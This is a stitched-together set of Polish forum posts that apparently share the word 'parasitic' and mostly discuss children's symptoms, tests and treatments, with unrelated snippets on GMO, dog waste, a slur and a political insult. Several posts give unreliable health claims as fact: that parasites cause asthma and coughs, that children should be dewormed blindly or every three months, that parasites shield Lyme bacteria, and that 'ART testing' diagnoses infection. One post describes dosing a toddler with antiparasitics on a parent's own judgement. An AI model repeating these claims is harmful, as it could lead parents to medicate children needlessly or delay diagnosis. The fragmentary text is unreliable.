autorzy: Agnieszka Ołdakowska, Jolanta Popielska, Magdalena
Marczyńska, Małgorzata Szczepańska-Putz, Sabina Dobosz,

uwazam, ze faktycznie warto go znac
pzdr
g.

radziłabym najpierw przeleczyć pasożyty , może trzeba kilka razy i
sprawdzić czy jest poprawa a potem wyleczyć jelita . U mojego syna
też wychodziła z badań alergia wziewna i astma ( a nigdy nie bylo
pasożytów w kale) , miał kaszel , duszności, skorę atopową -
poprawa nastapiła po przeleczeniu pasożytow. Poczytaj artykuły dr
Ireny Wartołowskiej "Astma a pasożyty", Agnieszki
Ostalowskiej "Wybrane choroby pasożytnicze u dzieci i ich
leczenie", polecam książkę Anny Ciesielskiej "Filozofia zdrowia "
filozofia Zycia".Mój mały od 3 miesięcy chodzi do przedszkola i
znów pojawił się suchy męcżacy kaszel , drugiego dnia podalam
Vermox i kaszel po paru godz zniknął , dziecko przespało noc
spokojnie. Gdzieś czytałam że jeśli w organizmie są lamblie i dojdą
do tego owsiki to przy ich rozmnażaniu dochodzi do podrażnienia
nerwow i zaczyna się kaszel , może dojść do skurczy oskrzeli . Na
podstawie obserwacji swojego dziecka wydaje mi się że coś w tym
jest. Mój syn przez długi czas był na diecie bez mąki pszennej,
cukru i nabiału. Obecnie nie pije tylko mleka .-

1. Czy leczy lambliozę u Was solidarnie, czyli tak jak powinno sie
leczyć choroby pasożytnicze? Solidarnie = wszyscy pod jednym dachem.
2. Czy robiłaś porządki w domu po każdxej kuracji, usuwając cysty
lamblii z Waszego otoczenia?
3. Czy odrobaczano Was przed leczeniem lambliozy? Czyli podano leki
na robaki obłe?

Problem masz w lamblii, nie w kaszlu. Podejrzewam, że kaszel jest
pochodną osłabionego lambliozą organizmu. Córka jest młodsza i
dlatego może mieć większe objawy. Natomiast ilość znalezionych cyst
nie ma tu znaczenia, to przecież przypadek jaki fragment kału
wzięłaś do badań i opis "nieliczne cysty" niczemu nie służy, bo
laborant ani nikt nie jest w stanie po takiej przypadkowej ilości w
kale ocenić ile jest ich w jelitach i drogach żółciowych.

Opisz dokładnie (to bardzo ważne) jak Was leczono dotąd (kogo i
jakimi lekami, mniej więcej podak miesiące). Wiedz też, że podawanie
leków już raz podanych nie ma sensu, bo lamblie sie na nie
uodparniają. Dlatego wiele zależy od Twojego opisu dotychczasowego
leczenia.

Jest cała masa chorób dziwnie się objawiających, ale przecież tu nie
o to chodzi żeby kogokolwiek straszyć. jeśli chodzi o gorączkę i
objawy mięśniowe to mogą to być przewlekłe infekcje wirusowe
(adenowirusy, rotawirusy, HIV, Epsteina Barr, cytomegalii i wiele
innych), pasożytnicze : toksokaroza, toksoplazmoza, rozmaite
filariozy, włośnica, bąblowica wielojamowa. naprawdę nie sposób ich
zliczyć. poza tym zaburzenia hormonalne: niedoczynność kory
nadnerczy, niewydolność przysadki czasem może dawać gorączkę i
wyczerpanie fizyczne, spadek wagi i bóle mięśni.
rzadko która infekcja daje jednak tak niespecyficzne objawy
neurologiczne jak borelioza, przynajmniej jesli chodzi o większość
standardowo objawiających się. reakcje osobnicze mogą być też
rozmaite.

Bakteriozy a członkowie rodziny?
W różnych kontekstach temat wałkowany nie raz. Ale...
Nicolson na przykład uważa, że osoby przebywające wciąż z chorymi na
mykoplazmozę po pewnym czasie dostrzegają podobne objawy u siebie -
zaczynają po prostu chorować.
Rozpatrując kwestię leczenia się jednej osoby w rodzinie i tego co
napisałem powyżej - czy nie należy sądzić, że patogeny wczesniej czy
później skolonizują w jakimś zakresie naszych bliskich?
Idąc dalej tym tropem - czy jeśli taka "kolonizacja" nastąpi, to czy
taki czlonek rodziny bez leczenia, nawet bezobjawowy, nie będzie po
prostu reinfekował nas, tych z osłabioną odpornością?
Czytaliście może jakies opracowania na ten temat? Badania?

Skoro choroby pasożytnicze, lambliozy i inne okropieństwa leczą całe
rodziny bo inaczej to nie ma sensu, wirusy tez szybciutko można
połknąć i zwalić się do łóżka, to jak sie sprawa ma z
naszymi "przyjaciółmi"?

Sporo oczywiście czytałem tu i ówdzie, że nie, że nie ma szans, że
to inaczej i wogóle. Jednak kontekst Nicolsona, wymiany, delikatnie
mówiąc, płynów ustrojowych w rodzinie, mocno mnie ostatnio frapuje...

Jakie macie przemyslenia na te tematy?

zycie nie jest szablonem
To co przedstawiles, to obiegowe opinie, tak jak i ta (popierana przez
Greenpeace) ze CO2 jest odpowiedzialny bezposrednio za ocieplenie klimatu. Jest
zbieznosc, ale zaleznosc nie udowodniona. Wielu naukowcow walczy z tym
uproszczeniem.
GMO do czasu daje wiecej plonow, dopoki ziemia nie zostanie wyjalowiona. Ponadto
rosliny GM zapadaja na nowe choroby. Np. w Indiach bawelna z genem dajacym
odpornosc na uciazliwego szkodnika zaczela lapac choroby pasozytnicze. I wcale
nie daje wiekszej wydajosci.
Uprawy GMO niszcza roznorodnosc odmian, tak pozadana w ekosystemach. Zycie nie
jest takie szablonowe jak chce tego Monsanto, producent najtoksyczniejszych srodkow.
Natomiast szybkosc wzrostu zwierzat nie jest miara jakosci produktow - tkanka
rakowa rowniez rosnie szybciej niz tkanka zdrowa.

To, ze kot pokasłuje to problem kota . Toksokarozą i toksoplazmozą też nie
zarazi bo to choroby pasozytnicze i droga zarażenia jest inna, boreliozą chyba
że okaże się, ze jest wielkim kleszczem.
To co może się potencjalnie przydarzyć to infekcja bakteryjna. Poważną sprawą
jest wbrew pozorom wścieklizna. Kot domyślam się nieszczepiony. Przyda się
obserwacja weterynarza, jednak jesli kot był w stanie zarażać to długo nie
pożyje. Tężec jest mało prawdopodobny, to nie jest choroba zaraźliwa, a koty są
zresztą na Clostridium tetani dość mało wrażliwe.,
Tak strasznie bym się nie martwiła, bo to najczarniejsze z czarnych scenariusze,
ale jako weterynarz sugerowałabym jednak wizytę u lekarza rodzinnego lub
pediatry i stosowanie się do zaleceń i dodatkowo zatarganie kota do weterynarza.
Obserwuj rączkę czy nie pojawia się obrzęk, zaczerwienienie, bolesność. Plus
potem dla spokoju zaszczepienie kota i odrobaczenie. Wbrew pozorom znacznie
powszechniejszym problemem są choroby pasożytnicze, a większość ludzi nie zdaje
sobie sprawy, ze dzieci nie powinny bawić się tam, gdzie "załatwiają się" koty
(i psy), zwłaszcza podwórkowce jedzące co podpadnie pod pyszczek.

Mam cię! Oto lista moich badań, ale poszukam tez linaka do listy
stworzonej przez grupę babeczek.
moje:
- USR, czyli obecnośc chorób wenerycznych;
- APTT, wykonywane w diagnostyce przyczyn nawracających epizodów
krwawień, zakrzepicy i zatorowości. Stosowany jest również w
przypadkach nawracających poronień, których przyczyną może być
obecność przeciwciał antykardiolipinowych i antyfosfolipidowych;
- Toxo IgG i IgM, czyli na niegdysiejsze i nowe zachorowania na
choroby pasozytnicze odzwierzęce;
- P/c kardiol. IgG oraz IgM, ale nie wiem co to
- prolaktyna;
- kariotyp;
badania z listy:
forum.gazeta.pl/forum/72,2.html?f=11916&w=11770555.
Ale nie daj się zwariować! Całusy na poprawę nastroju!

zagrożenie epidemiologiczne !!!
Psie odchody na skwerach, placach czy ulicach to problem natury
estetycznej i poważne zagrożenie epidemiologiczne. Stwarzają
zagrożenie dla zdrowia, a nawet życia człowieka. Do najczęściej
wywoływanych przez psie odchody chorób należą odzwierzęce inwazje
pasożytnicze, takie jak toksokaroza czy bąblowiec. Na choroby te
narażone są przede wszystkim dzieci bawiące się na trawnikach i w
piaskownicach.

Widzisz, problem w tym, że nic nowe
Rozszerzanie diety zakończyliśmy parę miesięcy temu, z produktów wszelakich to
chyba jedynie piwa jej jeszcze do diety nie wprowadziłam... Je to samo stale,
wiemy, na co jest uczulona i tego nie dostaje. Albo się uczuliła na coś, co ma w
diecie od dłuższego czasu (co jest możliwe), albo nam się trafił jakiś mocniej
pryskany banan. Od razu mi się włączyła lampka awaryjna, że niektóre egzotyczne
choroby pasożytnicze się przenoszą w końcówce banana (nie od strony szypułki,
tylko od drugiej str.) oraz w miąższu arbuza (dur, cholera), ale arbuza nie
jadła od 2 tygodni, a bananom zawsze końcówki odcinam z dużym zapasem, więc to
raczej jednak nie to...

Nie wiem czy to możliwe, ale bardzo ułatwiłoby mi sprawę dokładniejsze
przedstawienie wyników badań, chorób, które wykluczono i co również ważne metod
jakimi badania te były przeprowadzane ( np. czy był robiony rozmaz krwi ręcznie-
nie przez automat itp.), czy były już podawane jakieś preparaty pasożytnicze....?
Bo pomysłów wiele, głów nad tym myślących również a nie chcę wszystkiego
wypisywać bo dużo tego a wiele ( jeśli nie wszystko) pewnie zrobione:-)

No niestety, ale lekarka dobrze mówi na temat zagnieżdżenia się glist w innym
miejscu. Skoro leki nie działają to może oznaczac, że glisty są podrażnione i
mogą zacząc wędrówkę Poczytaj tam
www.pasozyty.eu/choroby-pasozytnicze-2/glista-ludzka/ po nagłówku
dotyczącym rozpoznania glistnicy. Moja lekarka powiedziała tak, że można dawac i
sto tabletek, ale może to byc wyleczenie glisty kosztem uszkodzenia szpiku lub
wątroby. Dziecko nie ma jeszcze dwóch lat, a leki te mogą okazac się ponoc
bardzo szkodliwe. Zobaczę jak po 3 tygodniach od tego leczenia wyjdą jej znowu
jaja to raczej zmienię lekarza A zentel w tabletkach sama wybrałam , bo małej
rozkruszę i pięknie zje go rano z serkiem Nawet o tym nie wiedząc- tak wzięła
Vermox, a nie jestem pewna czy udałoby mi się jej wcisnąc całą tą zawiesinę

Gość portalu: lena napisał(a):

> Dla ciebie wszystko jest tak proste jak drut?Bo akurat jesli chodzi
> o wykrycie robali z kału to wcale nie takie proste.Jesteś
> niedoinformowana w tej kwesti.Niestety...

naprawdę???? a co powiesz na to??:

autor: Janina Jaźwińska-Kuliś

str. 46

W próbkach kału można wykonać następujące badania laboratoryjne: badanie ogólne
kału, badanie resztek pokarmowych, badanie chemiczne kału, badanie na krew
utajoną, wykrywanie antygenów drobnoustrojów patologicznych, wykrywanie
obecności pasożytów przewodu pokarmowego oraz posiewy bakteriologiczne. Badania
te są pomocne w diagnostyce wielu chorób przewodu pokarmowego, takich jak:
choroby trzustki, choroby spowodowane upośledzonym wchłanianiem z jelit, choroby
przebiegające z uszkodzeniem błony śluzowej przewodu pokarmowego czy choroby
infekcyjne i pasożytnicze przewodu pokarmowego. Największą wartość diagnostyczną
mają następujące badania: wykrywanie krwi utajonej, wykrywanie antygenów
patogenów przewodu pokarmowego, wykrywanie pasożytów jelitowych, a także badania
bakteriologiczne...."

i zdaje się, że to jednak nie ja jestem niedoinformowana....

Bruksizm (ang. bruxism, z gr. βρυγμός = zgrzytać zebami) - termin
medyczny określający patologiczne tarcie zębami szczęki o zęby
żuchwy, występujący najczęściej w nocy. Objaw ten jest jednoznaczny
ze sformułowaniem zgrzytanie zębami.

Przyczyna tej choroby jest nieznana, ale wśród jej przyczyn
postuluje się:

nadmierny stres
zakażenia pasożytnicze
wady zgryzu
Choroba doprowadza do rozchwiania zębów w szczęce i żuchwie, starcia
koron zębowych, zmian - początkowo zapalne, a następnie
zwyrodnieniowe w stawach skroniowo-żuchwowych, co może doprowadzać
do przewlekłego bólu głowy.

Leczenie choroby jest trudne. Leki uspokajające lub psychoterapia są
zwykle niewystarczające. Zwykle konieczne jest stosowanie
specjalnych tzw. szyn odciążających zwykle dobieranych przez
protetyka.

www.google.pl/search?hl=pl&q=bruksizm&lr=

wykluczając choroby pasożytnicze, zgadzam się z przedmówcą. wizyta u
dentysty jest wskazana-protetyk albo chirurg najlepiej.ponosi trochę
szynę i się lekko uspokoi, ale nie jest to do wyleczenia zazwyczaj
raz i na zawsze .trzeba działać w miarę szybko, bo zetrze sobie
ząbki i zaczną się robić zmiany w stawie i dalej.

Pasozyty są bardzo prawdopodobne, choć "niezauważane" przez lekarzy, niestety. Badanie kału raczej nie ma sensu, ponieważ wykrywalnośc jest na poziomie 12-20%, ponieważ pasożyty wydalają jaja cyklicznie. Lek przeciwpasożytom podaje się e jedenj dawce, powtórka po 3 tygodniach, najlepiej całej rodzinie. Choroby pasożytnicze dają bardzo podobny obraz do alergii lub ciągłych nieżytów górnych dróg oddechowych

przyczyn powiększenia śledziony może być wiele ( infekcje: bakteryjne, wirusowe,
pierwotniakowe, pasożytnicze, schorzenia hematologiczne( m.in niedokrwistości
hemolityczne),nowotwory złośliwe, choroby spichrzeniowe, kolagenozy oraz
wrodzone i nabyte torbiele.Badań jest wiele i mogę je wymienić ale warto by
małego zobaczył pediatra lub gastrolog, ew hematolog.( morfologia, CRP,
transaminazy, bilirubina, retikulocyty, LDH, serologia wirusologiczna IgG i IgM
przeciwko CMV, EBV, Toxoplazmozie) te jako podstawowe bardziej specjalistyczne
to już w ramach szpitala.

to normalne,że pierwszy rok przedszkola to same choroby pewnie nie wszystkie
musiały być leczone antybiotykami bo ponad 70% to inf wirusowe. Myślę,że
pochrząkiwania i chrypki to pozostałości po infekcjach lub taki tik poinfekcyjny
i chęć zwrócenia uwagi, niekiedy inf pasożytnicze głownie glista moga dawać
kaszel. Nie jest to badanie inwazyjne więc można sprawdzić ale myslę ,że robaki
nie są winne:)

Padaczka, zmiany skorne... Jak sie domyslam wsrod masci sa takze
sterydy a Ty piszesz ze poprawy nie ma zadnej, czyli mozliwe ze to
zmiany skorne nie reagujace na nie.
Jakie badania mialo robione Twoje dziecko?
Bylo w jakikolwiek sposob dokladniej diagnozowane?
Bo sporo jest chorob np. metabolicznych - powodujacych zaburzenia
neurologiczne i skorne jednoczesnie. Pewne zaburzenia niedoborowe,
czasem choroby na innym tle (nawet pasozytnicze) - takze moga dawac
rozne tego typu zaburzenia.
Leczenie wylacznie objawowe to droga do nikad, ale moze Twoja
coreczka byla jakos przebadana?

A nawet jesli u Twojej corki zmiany skorne to faktycznie alergia i
skoro Mala je wylacznie Nutramigen od paru miesiecy - to koniecznie
trzeba go zmienic - bo mogla sie uczulic juz na niego ze sto razy.
Zreszta polroczniak tylko na Nutramigenie to proszenie sie o
problemy - niedoborowe oraz zaburzenia w nauce spozywania innych
posilkow, bo teraz jest czas gdy dziecko powinno poznawac juz nowe
smaki, faktury pokarmow stalych.

Skad jestes?
Skadkolwiek - postaralabym sie koniecznie o skierowanie do poradni
zaburzen metabolicznych w CZD w Warszawie.

Czesc

Najlatwiej skoro masz dostep do netu, wpisz kazdy z wynikow rozmazu
w wyszukiwarke i wyskocza mozliwe opcje wynikow.
Ja z rozmazem recznym spotkalam sie do tej pory glownie w temacie
alergii. I o ile u mojego dziecka wyniki byly w normie o tyle ja
wyniki grubo ponad :)
I rzeczywiscie, moja alergolog potwierdzila astme i katar alergiczny
glownie (nie tylko oczywiscie bo kaszle jak stary gruzlik) na
podstawie Granulocytow kwasochlonnych.
A Twoja mala czasem nie jest alergikiem?
Podam Ci co mi wyskoczylo jak wpisalam granulocycty kwasochlonne:
choroby alergiczne
astmę oskrzelową
katar sienny
łuszczyca; egzema
choroby pasożytnicze
choroby zakaźne; płonica
rumień wielopostaciowy
okres zdrowienia po zakażeniach
choroby nadwrażliwości
zespół Loeffiera
eozynofilia płucna
choroby hematologiczne (zespół hypereozynofilowy, przewlekła
białaczka szpikowa)

Ja mialam niewiele podwyzszony wynik bo tylko 6%. Musisz koniecznie
isc do pediatry.

Przyczyną wzrostu odsetka eozynofili mogą być uczulenia, infekcje pasożytnicze,
niektóre choroby bakteryjne i wirusowe, niektóre leki. Także w okresie
zdrowienia po dłuższych chorobach może być podwyższony poziom granulocytów
kwasochłonnych. A może to był błąd laboratoryjny?? Albo po prostu tak się
incydentalnie złożyło. Najważniejsze, że jest już prawidłowy.

Nie zapominaj, że to forum dyskusyjne, a nie gabinet lekarza.
O interpretację rozmazu należy poprosić lekarza. Nie mam pojęcia, na jakiej
podstawie patrząc na te wyniki ktoś tu diagnozuje chorobę jelit. Może wyjaśni,
to się dowiem.
Wyniki troszkę mogą sugerować alergię albo zakażenie pasożytnicze, choć
odchylenia są niewielkie.

"> Spojrzałam dalej niż czubek własnego nosa".
Hmmm, świetnie, myślę. Czytam dalej: MOJE dziecko, ONA, JEJ....Bez komentarza.

A teraz coś specjalnie z dedykacją dla ciebie:
Zaburzenia odporności dzielimy na pierwotne lub wtórne. Pierwotne są
uwarunkowane genetycznie. Grupa wtórnych niedoborów odporności jest bardzo
różnorodna, co wynika z mnogości czynników sprawczych, które mogą doprowadzić do
zaburzeń odporności. Przebieg i częstość infekcji zależą od czynnika
etiologicznego i stopnia dysfunkcji układu odpornościowego.
Przyczyny to m.in:
-alergie
-przewlekłe choroby płuc
-niedobory enzymatyczne
-wady anatomiczne układu oddechowego
-refluks-żołądkowo przełykowy
-niektóre choroby kardiologiczne
-zaburzenia pasożytnicze
Od siebie dodam:
-anemia
-cukrzyca
-niektóre leki na choroby przewlekłe
-choroby nerek
-stres
-zakażenia przez herpeswirusy

Jak wiele z tych przyczyn zależy od przegrzewania?

Jeśli dziecko ma mokry kaszel, rozwaz przeleczenie na pasozyty. Mój
syn tez bral pulmicort przez inhalator , miał czeste zapalenie
oskrzeli, bo zalewala je wydzielina, dochodziło też do skurczu
oskrzeli. A pediatra po onejrzeniu małego mowila że to zapalenie
gardła , infekcja lub wirus bo widziala czerwone gardlo - ono po
prostu bylo podrażnione od kaszlu. Po przeleczeniu pyrantelum,
vermoxem i zentelem problemy się skończyły. Za Problemy z drogami
oddechowymi odpowiadają pasożyty. Poczytaj artykuły dr I.
Wartołowskiej, i zespołu lekarzy ze szpitala zakażnego na
wolskiej "wybrane choroby pasożytnicze u dzieci i ich leczenie "
autorką jest min Agnieszka Ostałowska

Czy jakieś dziecko miało IgE całkowite >1
Syn w wieku 3 lat IgE 25.000, po pół roku 24.tyś z kawałkiem, potem
był badany jeszcze kilka razy ale w laboratoriach z gorszymi
odczynnikami i wyniki wychodziły poza skalę więc wpisywano np.
powyżej 9.000 czy coś...
Wysokie IgE całkowite może wskazywać na:
1) zespół Hioba (Hiper IgE - hiperimmunogloblinemia) - ale takie
dziecko często choruje i jest podatne na infekcje wszelkiego typu,
ropne, bakteryjne, gronkowcowe i takie tam
2) choroby pasożytnicze
3) mukowiscydoza
4) układowa kandydoza
5) świeżb

Ja wiciąż nie wiem co dolega mojemu dziecku.

znalazlam cos, co mnie setnie rozbawilo:

"Lekarze gabinetów specjalistycznych „Dziecko alergiczne” alarmują ! Coraz
więcej jest przypadków zachorowań na choroby pasożytnicze wśród naszych
najmłodszych. Obecność pasożytów może być przyczyną pojawiania się
dolegliwości na tle alergicznym lub ich nasilania.

Lekarze zwracają uwagę na niechętne przyjmowanie przez rodziców i samych
chorych zlecenia na badanie kału , niedokładne wykonywanie tych badań przez
laboratoria oraz zbyt krótki okres czasu w jakim przeprowadzane są badania (
dwa , trzy dni, podczas gdy niektóre z pasożytów, aby zostały wykryte wymagają
badania kału przez 8 do 10 dni). Innym problemem jest opór przed leczeniem
przejawiany przez pozostałych członków rodziny , potencjalnie zakażonych."
za forum "Candida": forum.gazeta.pl/forum/72,2.html?f=30155&w=27762609

"...Lekarze zwracają uwagę na niechętne przyjmowanie przez rodziców i samych
chorych zlecenia na badanie kału..." - do tej pory sadzilam, ze problem jest
zgola odwrotny

pozdr

Candida wschodzi w miarę szybko, niestety laboratorium "nie dotrwało" do
sprawdzenia innych grzybów, ani pleśni.
Ale coś juz masz. Dieta antygrzybowa wskazana jak najbardziej. Flumycon nie
jest niestety lekiem skutecznym w walce z nadmiarem grzyba. Podobnie rzecz się
ma z Nystatyną. Spróbuj dietę. I pytaj o lekarza, ktory w Twojej okolicy ma
jakieś doświadczenie w leczeniu grzybic (poradnia mykologiczne jest tu dobrym
adresem). Choć konsekwentna dieta trwająca ok. 2 miesięcy powinna przynieść
efekty. Więc ten lekarz nie musi być, jeśli zauważysz efekty po pierwszych 3
tygodniach leczenia. Lecz także taką dietą i córkę, i siebie.

Śledzę trochę wątki pasożytnicze i to co się pisze w necie o tym. Nie natknęłam
się jeszcze na krew utajoną przy pasożytach. Tu myślę tkwi główny i
najważniejszy problem na już. Zgłoś się do pediatry i poproś o skierowanie do
gastroenterologa. Myślę, że to powinnas zrobic JUŻ.
Krew utajona może pojawiać sie przy innych chorobach układu pokarmowego, ale ja
tu jestem zbyt "krótka" na jakiekolwiek porady. Dowiaduj się o dobrego
gastroenterologa w okolicy. W Wawie takim lekarzem jest dr Albrecht lub dr
Kotowska. Dr Albrecht jest ekspertem na forum karmienie butelką. Mam nadzieję,
że jeszcze tam pisuje. Może jego popytać - na już - o tą krew utajoną? Albo o
kolegę po fachu w Twojej okolicy?
A co na tą krew utajoną ten lekarz rodzinny? Coś Ci poradził? Też wydaje mi
się, że przy takim wyniku nie powinien zlecić dawania żadnych leków, nawet tego
Flumyconu... Ale nie jestem tu ekspertem. Pytaj mądrzejszych.

Justka
Moj lekarz twierdzi, ze choroby pasozytnicze moga byc kluczem do ciezko
leczonej boreliozy. Coraz czesciej przepisuje osobom z oporna na antybiotyki
borelioza leczenie na pasozyty. Mowil mi, ze wedlug niego pasozyty, ktore
rozwijaja sie w naszym organizmie, nie tylko moga wywolac grozne choroby, ale
tez maja mozliwosc zamykania w sobie bakterii boreliozy. Bakterie zamkniete w
pasozytach, sa w ten sposob chronione przed antybiotykiem, sa uwalniane po
troszeczku.
Kilka miesiecy temu odrobaczywilam moje dzieci, moja corcia miala owsiki. Po
truciznie na robaki, u mojego syna tez chorego na borelioze, nastapilo
nasilenie objawow. Mysle, ze to nie przypadek.
W Stanach bardzo czesto ludzie z borelioza dostaja wraz z leczeniem
antybiotykami odtrutki na pasozyty...rozne...
Te pasozyty moga w nas zyc, ale wraz z obnizona odpornoscia, rozwijaja sie
szybciej.
Wiem, ze nie o tym myslalas piszac o toksokarozie...wiem, ze byla to wiadomosc
dla "sero-negatywnych", ale bedac sero-pozytywna, tez draze ten temat.
Moj lekarz zalecil mi odrobaczywianie dzieci co trzy miesiace i obserwacje. W
razie najmniejszego objawu mam wlaczyc na nowo antybiotyki ( moje dzieci juz
nie sa leczone od stycznia).

Primo
Pasozytow jest duzo - zwlaszcza tych ktorych potencjalnie nie laczymy wcale z bb takich jak tasiemiec, tegoryjec wlosoglowka etc etc i nie da sie zrobic wszystkich badan w kierunku pasozytow.
Secundo
Sama babesja ma 3 rodzaje, ktore laczymy z zakazeniami ludzkimi tym patogenem - a jak wiemy badania nie sa robione tych trzech naraz.
Tertio
Same badania sa bardzo malo dokladne. Dr Klinghardt ma swoje dokladne zdanie w tym kierunku:
"The Lyme ABC
A. We start with deworming our clients....
B. The next step is the treatment of giardia, entamoeba histolytica and
trichomonas, which most often are overlooked. Lab detection of large
parasites in most US labs is hopeless. Amoeba and giardia trophozoites can
only be detected in a fresh stool for about 20 minutes. None of the labs
available to us comply with this necessity. The detection rate is so
substandard that only ART testing, a therapeutic trial or abdominal palpation
by an experienced practitioner is capable of establishing the diagnosis." itp itd - warto przeczytac jego prace "LymeALookBeyond..."

Dr Burrascano rowniez pisze czesto o koniecznosci leczenia w pierwszym rzedzie babesji (pasozytniczej infekcji odkleszczowej).

Moje zdanie w tej kwestii jest takie ze jak nie idzie leczenie warto zrobic badania na inne choroby pasozytnicze (rowniez bakteryjne i wirusowe) - jak rowniez w wyniku negatywnych winikow probowac leczenia w ciemno przeciwpasozytniczemu.

Witam
2 kwestie:
a/ktos ma borelioze i dodatkowa infekcję pasozytem-trzeba to
zweryfikować(tego pasozyta) i leczyć
b/moga leki p(pasozytnicze działać i na krętka boreliozy-to wynika z
Twojego opisu. Ale gdyby tak było były by już jakieś konkretne
doniesienia, pisałby o tym dr Burrascano, który zbiera doniesienia z
calego świata o chorobach odkleszczowych
Pozdrawiam
Piotrek K

lepszy jest podobno
Amotaks
Nazwa preparatu: Amotaks
Nazwa międzynarodowa: Amoxicillinum
Wybrane składniki: amoksycylina
Postać leku: granulat do przygotowania zawiesiny doustnej, tabletki,
kapsułki
Kategoria: Leki stosowane w zakażeniach (przeciwinfekcyjne)
Specjalności: Otolaryngologia
Choroby płuc
Choroby zakaźne i pasożytnicze
Urologia
Gastroenterologia
Działanie: bakteriobójcze
Powiązane preparaty handlowe: Amotaks, granulat do przygotowania
zawiesiny, (250 mg / 5 ml), 60 ml (POLFA TARCHOMIN)
Amotaks, kapsułki, 250 mg, 16 szt (POLFA TARCHOMIN)
Amotaks, kapsułki, 500 mg, 16 szt (POLFA TARCHOMIN)
Amotaks, tabletki, 1 g, 16 szt (POLFA TARCHOMIN)
Zamienniki handlowe: Amotaks Dis, tabletki, 1 g, 16 szt (POLFA
TARCHOMIN)
Amotaks Dis, tabletki, 500 mg, 16 szt (POLFA TARCHOMIN)
Amoxicilline pro susp,3g(250mg/5ml),zaw,60ml (PLIVA RX)
Apo-Amoxi 250, 250 mg, kaps., 16 szt (APOTEX)
Apo-Amoxi 500, 500 mg, kaps., 16 szt (APOTEX)
Hiconcil, kapsułki, 250 mg, 16 szt (KRKA)
Hiconcil, kapsułki, 500 mg, 16 szt (KRKA)
Ospamox, granulat do przygotowania zawiesiny, (250 mg / 5 ml), 60 ml
(BIOCHEMIE)
Ospamox, tabletki powlekane, 1 g, 16 szt (BIOCHEMIE)
Ospamox, tabletki powlekane, 500 mg, 16 szt (BIOCHEMIE)

Argument o "przeżyciu ludzkości"
Ciekawe rozumowanie. "Ludzkość do tej pory przeżyła, jedząc tradycyjnie". Ale...
Sęk w tym, że nie mamy porównania, o ile lepiej lub gorzej by przeżyła
(ilościowo) jedząc "chemiczne świństwa". Ludzie wymierali na zarazy, chorowali i
zostawali kalekami przez choroby pasożytnicze (celowo wymieniam właśnie te, bo
one są właśnie związane z "naturalnym" mięsem). Tłumaczyłam jakiś czas temu
fragmenty książki o farmakologii, rozdziały o pasożytach właśnie. Co robal, to
jako sposób zakażenia "spożywanie mięsa (czasem ryb) niepoddanych dostatecznej
obróbce cieplnej". Liczba zachorowań w krajach rozwijających się -
zastraszająca. POJĘCIA nie macie o historii ani o współczesnym świecie. Świat to
dla Was Europa, Ameryka Północna, basen Morza Śródziemnego, Daleki Wschód... A
śmiejecie się z Amerykanów, że nie wiedzą, gdzie jest Polska...

Powiedziałabym, że to ty masz skojarzenia antysemickie (za Sienkiewiczem
zresztą), bo:
parch
1. «grzybicza choroba skóry objawiająca się żółtawymi strupami; też: te strupy»
2. «choroba roślin wywoływana przez pasożytnicze grzyby, objawiająca się
plamami i naroślami; też: te plamy i narośle»
sjp.pwn.pl/lista.php?begin=parch
"Niech cię parchy oblezą" nie znaczy przecież "niech cię oblezą Żydzi" (skąd
ich tylu na raz weźmiesz?), tylko: "Pokryj się grzybicznymi strupami" :)

Nadmiar owszem, bywa szkodliwy - ale nadmiar się rzadko zdarza
za to niedobór higieny prowadzi do grzybic, łuszczyc, przez oslabienie organizmu
drobnoustrojami powoduje zwiększone ryzyko zapadnięcia na sepsę, a także na
choroby pasożytnicze.

poza tym brzydzę się ludxmi, którzy się pocą i nie kapią - przecież pot to też
azotany, czyli substancje takie same, jakie są w ludzkim moczu - fuuuuj

Środowisku też, ale przede wszystkim tobie i bawiacym się na podwówku
dzieciakom.Psy przenoszą glisty - wdepniesz w coś takiego, wracasz do domku i
już masz w mieszkaniu pasozyta. Jajeczka są mikroskopijne i łatwo unoszą się z
kurzem, wystarczy parę wdechów i - smacznego. Mam przed sobą opinię z sanepidu "
psie odchody są groźne dla zdrowia a nawet życia człowieka.Do najczęściej
wywoływanych przez nie chorób należą odzwierzęce inwazje pasożytnicze" .
Alergolodzy biją na alarm - wysuszone psie odchody unoszące się w powietrzu
wywołują alergie, zwłaszcza u dzieci. Jak czujesz potrzebę - sam sie narkotyzuj
psim g... a jakim prawem zmuszasz do tego innych?

Przejdź się do z psem do najbliższej lecznicy weterynaryjnej i kup psu obrożę
przeciwkleszczową. Podejrzewam że pies duzo szybciej zachoruje na babeszjozę
niz Ty na którąkolwiek chorobe przenoszona przez kleszcze, a groźną dla ludzi.
A kleszcze, oczywiście, mogą być groźne również dla człowieka; przenoszą
choroby bakteryjne, pasożytnicze oraz wirusowe.

Kaczyński, Lipiec, Ziobro: przyjaciele.
Ziobro, szkoda atramentu na ciebie i twojego wodza. Obaj jesteście malutkimi pistolecikami... na wodę. Sława frajera jest krótka, wasza chwila właśnie się skończyła. Wypłynęliście przypadkowo, połączyliście wasze pasożytnicze zewłoki w jeden zgniły, śmierdzący padliną organizm, dossaliścię się do ciała Polski jak czerwone pijawki. Polska was jednak pokonała, pokonała chorobę i pasożyta, wyleczyła się i uodporniła na was na zawsze. Teraz będziesz gnił na powrót w jakiejś ciemnej jamie z której kiedyś wypełzłeś.

My tez mamy skierowanie do poradni. Jednak maly zadnych objawowo
niema oprocz slabego przyrostu wagi (15 kg na 4,6l) i tera zod roku
slabego przyorstu wagi.
Odpuscilam sobie to, poniewaz maly non stop od 6 m-ca zycia jaest
ponizej 20 centyla z waga. Jedynie wzrost zawsze mial powyzej 50
centyla, a teraz spadl na 30.

Jednak czy nie lepiej najpierw wszystkie badania porobic
wykluczajace choroby pasożytnicze ??

Przewodnik Lekarza 11/2003 "Wybrane choroby pasożytnicze u dzieci -
rozpoznanie i leczenie"

"Toksokaroza jest chorobą wywoływaną przez nicienie (...), u
dorosłych zwierząt uwolnione larwy mogą kończyć wędrówkę w różnych
tkankach. U psów dochodzi do zarażenia młodych osobników od matki
drogą śródmaciczną".
"Człowiek jest żywicielem przypadkowym glisty (...) uwolnione w
dwunastnicy larwy wędrują z prądem krwi, a gdy średnica naczynia
krwionośnego staje się mniejsza od rozmiarów larwy, przebijają się
przez jego ścianę i przenikają do przyległych tkanek".

wniosek: nic nie jest niemożliwe.

Alabama

Przyczyną zaburzeń układu ruchu, o których pisałem mogą być "na przykład
niedoczynność tarczycy, toczeń trzewny układowy, borelioza, babeszjoza,
erlichioza, kandydiaza, niedobór dezaminazy mioadenylanu, hipoglikemia oraz
